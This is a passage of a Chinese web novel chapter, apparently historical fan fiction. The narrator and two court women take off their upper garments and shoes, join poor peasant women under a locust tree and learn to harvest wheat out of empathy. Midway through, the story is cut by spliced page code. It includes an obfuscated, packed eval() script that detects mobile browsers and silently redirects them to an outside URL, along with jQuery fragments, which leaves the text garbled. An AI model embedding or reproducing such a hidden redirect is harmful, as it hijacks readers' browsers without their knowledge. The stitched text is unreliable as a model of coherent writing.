那姑娘转身走回树下的身影，像一根粗糙的楔子，狠狠钉进了我们原本只是“观察”与“感慨”的隔岸观火之心。麦田的热风拂过，带着谷物成熟的焦香，也带来了远处女子们低声交谈的模糊声响，夹杂着几声疲惫的咳嗽。


    沈眉庄站在那里，一动不动。我看见她白皙的脖颈上，细密的汗珠在阳光下微微闪光，她的胸膛微微起伏，眼神却死死盯着自己脚下那双虽然破旧、却比那些女子脚上任何一双都要完好柔软的草鞋。她的目光，又从草鞋移到身上这件虽然粗糙、却也是细麻所制、针脚细密的“寒酸”外衣上，最后，缓缓抬起，落向老槐树下。


    她的嘴唇抿得发白，手指无意识地揪着衣角，那细麻布的纹理在她指尖扭曲。剪秋担忧地看着她，低声唤了句：“眉……妹妹？”


    沈眉庄没有回应。她忽然蹲下身，一言不发地开始解自己脚上草鞋的绳结。动作有些生疏，却很坚决。粗糙的草绳勒在她原本娇嫩、此刻也已磨出薄茧的指尖。草鞋脱下，露出同样布满尘土、微微发红的脚。


    “你这是要做什么？”剪秋吃了一惊，下意识想去拦。


    沈眉庄没停，站起身，又开始解外衣的襟扣。她的手指微微发抖，但眼神里却燃烧着一簇奇异的火焰，那火焰烧掉了最后的犹豫与矜持。“剪秋姐，”她声音很低，却异常清晰，带着一种破釜沉舟的冷静，“你看看她们。我们再怎么‘落魄’，吃的仍是她们几辈子都吃不上的精细米面，穿的仍是她们见都没见过的好料子，哪怕是我们脚上这双最破的草鞋，在她们眼里，怕也是‘体面’东西。我们站在这里，穿着衣裳，戴着鞋，看着她们……穷得连件遮蔽的衣裳都舍不得穿、不敢穿，十几岁的年纪，就要用这副身子骨，扛起全家人的口粮活路……”


    她解开了最后一粒布扣，褪下了那件外衣，露出里面同样粗糙、但好歹完整的白色细麻肚兜。初夏的阳光毫无遮拦地落在她单薄的肩头和白皙的手臂上，激起一层细小的战栗。她咬了咬下唇，伸手绕到颈后，去解肚兜的系带。


    “我……不忍心。”她说，声音里有了一丝哽咽，但更多的是决绝，“光是看着，我心里过不去。”


    剪秋怔怔地看着她，脸上的惊愕渐渐被一种复杂的情绪取代——有理解，有羞愧，也有豁出去的勇气。她深吸一口气，没再劝阻，也蹲下身，默默地脱下了自己的草鞋，然后是外衣。她的动作比眉庄更慢，更僵硬，显然内心的挣扎更为剧烈，但她还是做了。


    我没有说话。只是静静地看着她们，看着这两个从小在锦绣堆、规矩笼里长大的女子，此刻在这中原的烈日下，在象征着最严酷生存现实的老槐树与麦田前，亲手剥去最后一点象征身份与优越的“体面”。


    然后，我也动了。


    手指搭上自己衣襟的布纽，一颗，两颗……外衣脱落，搭在臂弯。然后是肚兜的系带。指尖触到那粗糙的棉绳时，有那么一瞬间，属于乌拉那拉·宜修的、属于章静的、所有关于礼教、身份、羞耻的记忆碎片汹涌而来。但下一刻，眼前晃过的是茶摊老板说起“城摞城”时麻木的脸，是老河兵谈起“仅有的一点点好处”时眼中的无奈，是刚才那姑娘说“能当饭吃吗”时清澈而沉重的眼神。


    “嗤啦——”一声轻微的布帛拉扯声，系带松开。胸前最后的遮蔽滑落，温热而略带燥意的空气毫无阻隔地贴上皮肤。我弯腰，脱下脚上那双磨得脚底生疼、此刻却显得如此“奢侈”的草鞋。赤足踩在被太阳晒得发烫的泥土地上，粗粝的沙砾硌着脚心，带来一种奇异的、踏实的刺痛感。


    我抬起头，看见沈眉庄和剪秋也已经完成了同样的“仪式”。她们站在那里，和我一样，上身再无片缕，白皙的肌肤在强烈的阳光下显得格外醒目，也与周围黝黑的肤色形成了刺目的对比。她们的脸上还残留着褪不去的红晕和初次暴露的不安，但眼神却与我一样，望向对方时，看到了彼此眼中的坚定，以及一种卸下重负后的、奇异的平静。


    我对着她们，轻轻点了点头。


    “既然咱们来了，看到了，就不能只是看着。”我的声音不高，却足够清晰，“至少，力所能及的忙，得帮一帮。看看她们怎么做，咱们就怎么做。”


    没有豪言壮语，没有怜悯施舍。只是最简单，也最艰难的——共感，与参与。


    我们三人，就这样赤着上身，赤着双足，抱着脱下的外衣和草鞋，朝着那棵老槐树下走去。脚步起初还有些迟疑，但当真正走近，融入那片或坐或卧、同样裸露着劳作身躯的女子群体时，那些想象中的异样目光并没有出现。她们只是略微抬了抬眼，看了看我们这三个皮肤格外白、姿态格外生疏的“陌生姊妹”，眼中或许有好奇，有疑惑，但更多的是一种见惯了的、疲惫的接纳。没有人询问，没有人排斥。那个之前跟我们说话的姑娘，挪了挪身子，给我们腾出了一小块阴凉地。


    我们将衣物小心地放在树根旁干燥的地方，然后学着她们的样子，在裸露的泥土地上坐下。皮肤直接接触大地，温热，粗糙。我们静静地听着她们用浓重的乡音交谈，话题离不开眼前的麦子、地里的墒情、河工的丈夫兄弟、家里快见底的粮缸、县城里粮价的波动、还有对即将到来的、能决定下半年生死存亡的收割季的忧虑与期盼。这些话语琐碎、重复、沉重，却字字句句砸在生存的实处。


    我们听不懂所有的词汇，却能感受到那语调里的焦虑、无奈，以及深植于土地、近乎本能的顽强。没有诗情画意，只有汗水和算计。


    不知过了多久，那个胸前缠着布条的年长女子站起身来，拍了拍手上的土，声音沙哑却有力：“歇够了，日头偏了，该下地了。再晚，今天割不完东头那块地。”


    树下的女子们纷纷起身，舒展着因久坐而僵硬的肢体，


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963319|193341||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    拿起放在一旁的、磨得锃亮的镰刀。没有人吆喝，动作却整齐划一，是一种经年累月形成的默契。


    我们也站起来。没有镰刀，我们跟在队伍末尾，走向那片等待收割的、沉甸甸的金色海洋。


    那个姑娘看了我们一眼，没说什么，只是从自己腰间解下一把备用的小镰刀，递给了离她最近的剪秋。然后又不知从哪里找来两把更旧、更小的，给了我和眉庄。


    “跟着俺，看着怎么下镰，别割着手。”她简单地嘱咐了一句，便弯腰，左手拢住一把麦秆，右手镰刀贴着地皮，“唰”地一声轻响，金黄的麦穗应声而倒，整齐地放在一边。动作流畅，带着一种质朴的力量与韵律。


    我们学着她的样子，笨拙地弯下腰。赤着的上身很快被麦芒划过，带起细密的刺痛和痒意。汗水几乎是立刻就冒了出来，顺着脊背、胸口流淌，滑过皮肤，滴入脚下的土地。阳光毫不留情地炙烤着毫无遮拦的背部，火辣辣地疼。手掌握住粗糙的镰刀把，很快就被磨得发红。弯腰，拢麦，挥镰……看似简单的动作，重复起来却如此耗费气力，不一会儿，手臂就开始酸软，腰背更是传来阵阵抗议的酸痛。


    但我们没有停。咬着牙，忍着麦芒刺痒和阳光灼痛，一下，又一下。割下的麦子歪歪扭扭，远不及旁边女子们收割得整齐利落，但终究是放倒了。汗水流进眼睛，涩得生疼，随手用胳膊一抹，留下泥痕。脚下的土地被踩得松软，混杂着麦茬和尘土。


    那个姑娘和其他女子，偶尔会看我们一眼，见我们虽然生疏却坚持，眼中会掠过一丝极淡的、几乎看不见的善意，或者说是……认可？没有人嘲笑我们的笨拙，也没有人多问什么。在这片赖以生存的土地面前，所有多余的语言和好奇心，似乎都让位于最实际的劳作。


    一下午，就在这单调、疲惫、汗水浸透的重复动作中过去。西边的天空被染成橘红色时，东头那块不小的麦田，终于被收割了大半。我们三人早已汗流浃背，气喘吁吁，裸露的皮肤被晒得通红，混合着汗水泥土和细小的麦芒碎屑，狼狈不堪。手掌上磨出了水泡，腰几乎直不起来，双腿像灌了铅。


    但当看着身后那一捆捆被我们亲手割倒、整齐码放的金黄麦垛，看着夕阳下同样疲惫却带着满足神情、开始收拾工具准备回家的女子们，一种难以言喻的情绪，悄悄压过了身体的极度疲惫。


    那不是怜悯，不是居高临下的“体验生活”。那是一种沉入泥土的感知，是对“生存”二字最粗粝、最真实分量的初次掂量。这分量，远比任何史书上的记载、任何宫廷中的听闻，都要沉重千万倍。


    我们默默地将那小镰刀还给姑娘，捡起树根旁的衣物，跟随着收工的人群，拖着几乎不听使唤的双腿，走向炊烟渐起的村庄。没有人道谢，也没有人道别。一切都自然而然，仿佛我们本就该在这里，经历这一场大汗淋漓的、沉默的洗礼。